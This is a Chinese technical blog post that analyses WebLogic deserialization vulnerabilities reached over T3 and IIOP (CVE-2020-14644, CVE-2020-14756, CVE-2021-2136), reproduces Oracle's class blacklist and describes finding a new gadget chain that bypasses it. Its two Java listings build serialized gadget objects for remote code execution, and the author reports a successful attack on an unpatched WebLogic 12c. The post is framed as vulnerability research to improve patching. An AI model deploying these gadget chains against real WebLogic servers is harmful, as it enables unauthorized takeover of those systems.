【技术推荐】WebLogic 反序列化漏洞深入分析

语言: CN / TW / HK

前言

Oracle 官方 2021 年 10 月份发布的安全更新通告中披露了 WebLogic 组件存在高危漏洞,攻击者可以在未授权的情况下通过 IIOP、T3 协议对存在漏洞的 WebLogic Server 组件进行攻击,成功利用该漏洞的攻击者可以接管 WebLogic Server。

本文将 介绍下如何 diff  WebLogic 的补丁,以及在跟踪补丁的过程中对可能存在的一种绕过黑名单的反序列化手法的介绍。

T3 和 IIOP

以下漏洞均基于 T3 和 IIOP 作为入口触发,所以需要简单分析下 T3 和 IIOP 是如何反序列化的,以及 WebLogic 如何进行修复。

T3 的反序列化是基于原生的反序列化实现。

打了补丁之后:

IIOP 的反序列化是由 WebLogic 自身实现的:

在 this.readIndirectingRepositoryId(codebase); 进行黑名单过滤:

CVE-2020-14644 、 CVE-2020-14756 、 CVE-2021-2136 分析

WebLogic 在早期修复 T3 和 IIOP 的反序列化都是采用黑名单的方式修复,黑名单可以是类名,也可以是包名,以下是截止到 202110 的黑名单的列表,想要跟踪 WebLogic的 CVE,首先要做的就是看补丁把谁拉进黑名单了。

javaorg.apache.commons.collections.functors
com.sun.org.apache.xalan.internal.xsltc.trax
javassist
java.rmi.activation
sun.rmi.server
org.jboss.interceptor.builder
org.jboss.interceptor.reader
org.jboss.interceptor.proxy
org.jboss.interceptor.spi.metadata
org.jboss.interceptor.spi.model
com.bea.core.repackaged.springframework.aop.aspectj
com.bea.core.repackaged.springframework.aop.aspectj.annotation
com.bea.core.repackaged.springframework.aop.aspectj.autoproxy
com.bea.core.repackaged.springframework.beans.factory.support
org.python.core
com.bea.core.repackaged.aspectj.weaver.tools.cache
com.bea.core.repackaged.aspectj.weaver.tools
com.bea.core.repackaged.aspectj.weaver.reflect
com.bea.core.repackaged.aspectj.weaver
com.oracle.wls.shaded.org.apache.xalan.xsltc.trax
oracle.eclipselink.coherence.integrated.internal.querying
oracle.eclipselink.coherence.integrated.internal.cache
org.codehaus.groovy.runtime.ConvertedClosure
org.codehaus.groovy.runtime.ConversionHandler
org.codehaus.groovy.runtime.MethodClosure
org.springframework.transaction.support.AbstractPlatformTransactionManager
java.rmi.server.UnicastRemoteObject
java.rmi.server.RemoteObjectInvocationHandler
com.bea.core.repackaged.springframework.transaction.support.AbstractPlatformTransactionManager
java.rmi.server.RemoteObject
com.tangosol.coherence.rest.util.extractor.MvelExtractor
java.lang.Runtime
oracle.eclipselink.coherence.integrated.internal.cache.LockVersionExtractor
org.eclipse.persistence.internal.descriptors.MethodAttributeAccessor
org.eclipse.persistence.internal.descriptors.InstanceVariableAttributeAccessor
org.apache.commons.fileupload.disk.DiskFileItem
org.jboss.weld.interceptor.builder.MethodReference
org.jboss.weld.interceptor.spi.metadata.MethodMetadata
oracle.jdbc.pool.OraclePooledConnection
com.google.common.util.concurrent.AtomicDoubleArray
com.tangosol.internal.util.invoke
com.tangosol.internal.util.invoke.lambda
com.tangosol.coherence.rest.util.extractor
com.tangosol.coherence.rest.util
com.tangosol.util.extractor
com.tangosol.coherence.component.application.console
com.tangosol.util.extractor.ReflectionExtractor
com.tangosol.internal.util.SimpleBinaryEntry
com.tangosol.util.extractor.ComparisonValueExtractor
com.tangosol.util.extractor.ConditionalExtractor
com.tangosol.util.extractor.ReflectionUpdater
com.tangosol.util.extractor.ScriptValueExtractor
com.tangosol.util.extractor.UniversalExtractor
com.tangosol.util.extractor.UniversalUpdater
com.tangosol.coherence.component.util.daemon.queueProcessor.service.grid.partitionedService.PartitionedCache$Storage$BinaryEntry

WebLogic 修复 CVE-2020-14644 的方式是将com.tangosol.internal.util.invoke.RemoteConstructor 拉入了黑名单,简单跟踪下 RemoteConstructor 的反序列化过程,看看是因为什么原因被拉进黑名单。

发现存在 readResolve 方法,该方法会在反序列化后执行。

CVE-2020-14756分析

WebLogic 修复 CVE-2020-14644 的方式,是将黑名单加进 com.tangosol.util.ExternalizableHelper#readExternalizableLite 方法中。

结合这个信息,可以肯定是在调用这个方法进行反序列化绕过了黑名单,才导致了这次补丁修补。往上追溯,观察下 WebLogic 的黑名单规则和为啥能够绕过黑名单。

以IIOP为例子,进入到WebLogic.iiop.IIOPInputStream#read_value(Class clz) 即开始反序列化操作。在进入反序列化操作前,先进入一个switch,进入 readIndirectingRepositoryId 方法。

最终来到 getClassFromID 方法,进入黑名单判断。

判断完毕,回到 read_value 方法,进行反序列化操作。

选择不同的反序列化方法,最终执行 readResolve 方法,重新进入到上述轮回。

上述比较抽象,想要理解,必须明白反序列化是一个链式的操作。比如,你有一个类 A,类里面有个属性是类 B,这个时候,在反序列化的过程中,就会先反序列化类 A,之后在填充类 A 的过程中,继续反序列化类 B,类 B 在反序列化完成后,填充到类 A 中,同时整个过程都在一个流中操作,这个时候,只要还是 ObjectOutStream 的 read_value进行反序列化操作就不能饶过黑名单!

回到 readExternalizableLite 向外拓展,很容易发现继承ExternalizableLite 接口的都有一个新的反序列化方法readExternal(DataInput in),这个方法传入的流是DataInput。根据补丁也很容易猜想出这个流反序列化过程都是在 ExternalizableHelper#readExternalizableLite 实现的,现在主要是找到一个 ObjectInput 流转换到 DataInput的反序列化利用链。

找到一个很符合的类com.tangosol.net.security.PermissionInfo,入口是ObjectInput,之后会进入 readCollection 方法。

在 readCollection 方法中隐式转换成 DaraInput 流,后面传入 readObject。

在 readObject 方法中进行 ExternalizableHelper 自身实现的反序列化,这样就突破了黑名单,实现了 RCE。

当然,这样的修复方式并不彻底,因为他先判断了流是否是 ObjectInputStream,这就给绕过黑名单给了一个可乘之机,于是诞生了CVE-2021-2136。

CVE-2021-2136分析

照例,从补丁中发现 WebLogic 将com.tangosol.internal.util.SimpleBinaryEntry 类拉进了黑名单,看下这个类是做什么的。

readExternal 方法中,没有啥操作,但是他在 getKey 和getValue 中出现了高危操作。

跟进 ExternalizableHelper.fromBinary 一看,便明白这是一个二阶反序列化操作。

追踪 BufferInput 可以发现,他并不继承 ObjectInputStream,所以从 fromBinary 进行的反序列化绕过了黑名单的限制。

因为最终的利用方法不在 readExternal 方法中,需要构造一条调用链,同时需要注意SimpleBinaryEntry仅在readExternal 中能获取 binkey 和 binvalue 的值。

根据 PermissionInfo 到 SimpleBinaryEntry 构造一条通路,最终二阶反序列化 RemoteConstructor 类进行 RCE。

String SIGALG = "SHA1withRSA";
KeyPairGenerator kpg = KeyPairGenerator.getInstance("RSA");
KeyPair kp = kpg.generateKeyPair();
SignedObject so1 = new SignedObject("Hello", kp.getPrivate(), Signature.getInstance(SIGALG));
Object o1 = new PermissionInfo();
Class cz = o1.getClass();
Field f1 = cz.getDeclaredField("m_sServiceName");
f1.setAccessible(true);
f1.set(o1,"thisisceshi");
Field f2 = cz.getDeclaredField("m_signedPermission");
f2.setAccessible(true);
f2.set(o1,so1);
// 第一个类PermissionInfo


Subject s1 = new Subject();
HashSet hs = new HashSet();


Class cz1 = s1.getClass();
Field f3 = cz1.getDeclaredField("principals");
f3.setAccessible(true);


Field f4 = cz1.getDeclaredField("pubCredentials");
f4.setAccessible(true);


//第二个类Subject


ConditionalPutAll cp = new ConditionalPutAll();
NullFilter nf = new NullFilter();
LiteMap lm = new LiteMap();
com.sun.org.apache.xpath.internal.objects.XString x1 = new com.sun.org.apache.xpath.internal.objects.XString("");
Binary bb = ExternalizableHelper.toBinary(getRemote());
SimpleBinaryEntry sb = new SimpleBinaryEntry(bb,bb);
lm.put(sb,"qqqq");
lm.put(x1,"wwww");
Class cps = cp.getClass();
Field cpsf1 = cps.getDeclaredField("m_filter");
Field cpsf2 = cps.getDeclaredField("m_map");
cpsf1.setAccessible(true);
cpsf2.setAccessible(true);
cpsf1.set(cp,nf);
cpsf2.set(cp,lm);
hs.add(cp);
f3.set(s1,hs);
f4.set(s1,hs);


Field f5 = cz.getDeclaredField("m_subject");
f5.setAccessible(true);
f5.set(o1,s1);


return o1;

总结: 一个渐变的过程

根据上述的漏洞分析,可以发现后续漏洞都是构造条件绕过黑名单触发第一个漏洞,并且从最开始的直接反序列化触发,到后面开始使用二阶反序列化的手段进行利用,好像在进行一种微妙的攻防的对抗,并且从后面2个 CVE 中,发现了绕过黑名单的可能性。

如果能将 ObjectInput 转化成其他的数据流并且能进行反序列化,那就可能绕过黑名单。

新的开始

查找 fromBinary 的二阶反序列化的点,JD 搜索整个coherence.jar 包使用了 fromBinary 的类,配合 tabby 进行搜索,最终发现了一个特点: 继承com.oracle.common.base.Converter 的类,在实现的convert 方法中,大多数都会使用 fromBinary 方法处理传入的 Object。

回到整个 coherence.jar,继续一顿猛搜,调用了 convert方法的类,最终找到一个适合的类com.tangosol.coherence.transaction.internal.storage.KeyBackingMap。

接下来,需要找到适合 context。context 需要满足以下几个条件:

1、必须是 BackingMapManagerContext 的子类。

2、getValueFromInternalConverter 或者getKeyFromInternalConverter 方法必须是正常并且返回的是 Converter 的子类。

3、需要存在 isKeyOwned 方法。

围绕上述条件一顿猛搜,最终找到一个适合的类com.tangosol.coherence.component.util.daemon.queueProcessor.service.grid.ReplicatedCache$BackingMapContext。

getConverterFromInternal 方法中,调用了 this.getService 方法。查看这个方法,返回的是一个ReplicatedCache 对象。

查看 ReplicatedCache 类,可以被反序列化。

构造好了 KeyBackingMap 的反序列化条件,接下来是寻找到达 KeyBackingMap.put 的利用链,看到 map.put,就记起了 CC5 的利用链。

马上构造一个利用链发送给 WebLogic,结果很让人遗憾,CC4 不在当前的 ClassLoader。陷入了僵局,重新思考整个利用链,发现只卡死在 lazyMap 这个类中,lazyMap 必须要 Transformer 类,导致反序列化时进入黑名单。

只能回到 coherence.jar 包中,继续搜索替换 lazyMap 的类。这个类必须满足以下条件:

1、可反序列化

2、继承 Map

3、get 方法能调用另一个 map 的 put 方法

这个时候,想起了场外援助,联系上了李三师傅,师傅给了一条绕过 LazyMap 的类。

复现李三师傅的思路,通过 tabby 工具,果然找到了DeltaMap 类。

构造好新的 gadget,本地测试成功。

发送给没打白名单补丁的 WebLogic12c 成功。

使用 IIOP 反序列化失败 !!

跟踪失败的原因,发现在 IIOP 反序列化父类的时候,会进入 OnInit 进行类的初始化,初始化过程出错就会中断反序列化过程。

最终的利用链

java public static Object getDaMap() throws Exception { 
HashMap hm = new HashMap();
HashMap hm1 = new HashMap();
Object ox = getRemote();
Binary b1 = ExternalizableHelper.toBinary(ox);
hm1.put("kk",b1);
DeltaMap dm = new DeltaMap();
Map m1 = (Map)getTkmap();
Field f1 = dm.getClass().getDeclaredField("__m_DeleteMap");
f1.setAccessible(true);
f1.set(dm,hm);
Field f2 = dm.getClass().getDeclaredField("__m_InsertMap");
f2.setAccessible(true);
f2.set(dm,hm);
Field f3 = dm.getClass().getDeclaredField("__m_OriginalMap");
f3.setAccessible(true);
f3.set(dm,hm1);
Field f4 = dm.getClass().getDeclaredField("__m_ReadMap");
f4.setAccessible(true);
f4.set(dm,m1);
Field f5 = dm.getClass().getDeclaredField("__m_RepeatableRead");
f5.setAccessible(true);
f5.set(dm,true);
Field f6 = dm.getClass().getDeclaredField("__m_UpdateMap");
f6.setAccessible(true);
f6.set(dm,hm);
return dm;
}
public static Object getRemote() {
try{
ClassIdentity classIdentity = new ClassIdentity(attach.test2.class);
ClassPool cp = ClassPool.getDefault();
CtClass ctClass = cp.get(attach.test2.class.getName());
ctClass.replaceClassName(attach.test2.class.getName(), attach.test2.class.getName() + "$" + classIdentity.getVersion());
ctClass.defrost();
RemoteConstructor constructor = new RemoteConstructor(
new ClassDefinition(classIdentity, ctClass.toBytecode()),
new Object[]{}
);
return constructor;
}catch (Exception e)
{
e.printStackTrace();
}
return null;
}
public static Object getTkmap() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass ct1 = pool.get("com.tangosol.coherence.transaction.internal.storage.KeyBackingMap");
ct1.defrost();
CtConstructor constructor1 = CtNewConstructor.make("public KeyBackingMap(){}", ct1);
ct1.addConstructor(constructor1);
CtField ctFieldNew = new CtField(CtClass.longType,"serialVersionUID",ct1);
ctFieldNew.setModifiers(Modifier.PRIVATE | Modifier.STATIC | Modifier.FINAL);
ct1.addField(ctFieldNew,"7477261672381517136");
Class<?> clazz = ct1.toClass();
CtClass ct = pool.get("com.tangosol.coherence.component.util.daemon.queueProcessor.Service");
CtClass oot = pool.get("java.io.ObjectOutputStream");
CtMethod cc3 = ct.getDeclaredMethod("writeObject",new CtClass[]{oot});
System.out.println(cc3);
ct.removeMethod(cc3);
ct.toClass();
LocalCache lc = new LocalCache();
Field fm = lc.getClass().getDeclaredField("__m_ResourceRegistry");
fm.setAccessible(true);
fm.set(lc,null);
Coherence$CacheItem ccat = new Coherence$CacheItem();
ReplicatedCache d = new ReplicatedCache("ddd",lc,false);
d._removeAllChildren();
setFV(d,"__m__Parent",ccat);
setFV(lc,"__m__Parent",ccat);
Field f1 = d.getClass().getSuperclass().getSuperclass().getDeclaredField("__m_SerializerMap");
f1.setAccessible(true);
f1.set(d,null);
ReplicatedCache$BackingMapContext rb = new ReplicatedCache$BackingMapContext();
setFV(rb,"__m__Parent",d);
KeyBackingMap kb = (KeyBackingMap)clazz.newInstance();
Class cz11 = kb.getClass();
Field f11 = cz11.getDeclaredField("m_context");
f11.setAccessible(true);
f11.set(kb,rb);
Field f21 = cz11.getDeclaredField("m_sTable");
f21.setAccessible(true);
f21.set(kb,"tceshi");
Field f31 = cz11.getDeclaredField("m_sService");
f31.setAccessible(true);
f31.set(kb,"yyds");
return kb;
}
public static Object getMapObject() throws Exception {
HashMap hm = new HashMap();
hm.put("dd","ff");
DeltaMap oo = (DeltaMap)getDaMap();
TiedMapEntry tiedMapEntry = new TiedMapEntry(oo,"kk");
BadAttributeValueExpException bve = new BadAttributeValueExpException("cdcd");
Field fs = bve.getClass().getDeclaredField("val");
fs.setAccessible(true);
fs.set(bve,tiedMapEntry);
return bve;
}
public static void main(String[] args) throws Exception {
Object o1 = getMapObject();
}

结语

从复现前人的 CVE 到尝试挖掘 gadget,断断续续大概花了2周到3周的时间,期间学习到了很多反序列化的知识,在理解完这些漏洞后,也就理解了 WebLogic 反序列化漏洞出现较为频繁的原因。WebLogic 漏洞存在较多的反序列化类和反序列化的途径,在使用黑名单防御手段下,攻击者只要找到新的反序列化触发点,就能造成新的危害。因此, 知己知彼,学习洞悉攻击者的思路有助于优化漏洞修补策略,也能更好的提升防御水平。